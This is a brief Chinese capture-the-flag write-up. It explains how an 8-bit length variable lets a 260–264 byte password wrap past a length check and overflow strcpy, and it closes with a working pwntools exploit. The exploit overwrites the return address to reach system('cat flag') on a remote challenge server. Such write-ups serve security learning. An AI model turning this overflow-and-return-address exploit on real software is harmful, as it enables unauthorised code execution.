做了半天,没注意是整型溢出。。。
拿到题目检查下防护:
随便运行下:
放到ida里看下:
题目对输入的password的长度进行了检查,只能在4到8范围内。
在strcpy处有溢出,想要进行溢出就必须绕过v3的检查。
发现v3是8位无符号整数,则最大只能是255。
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260到264就可以了。
程序本身段有system(“cat flag”),则可以将返回地址覆盖到这里来。
exp如下:
from pwn import*
a=remote("111.198.29.45","32363")
a.recvuntil("Your choice:")
a.send("1\n")
a.recvuntil("\n")
a.send("a\n")
a.recvuntil("\n")
payload='A'*(0x14+4)+p32(0x0804868B)
payload+= 'A'*(260-len(payload))
a.sendline(payload)
print a.recvall()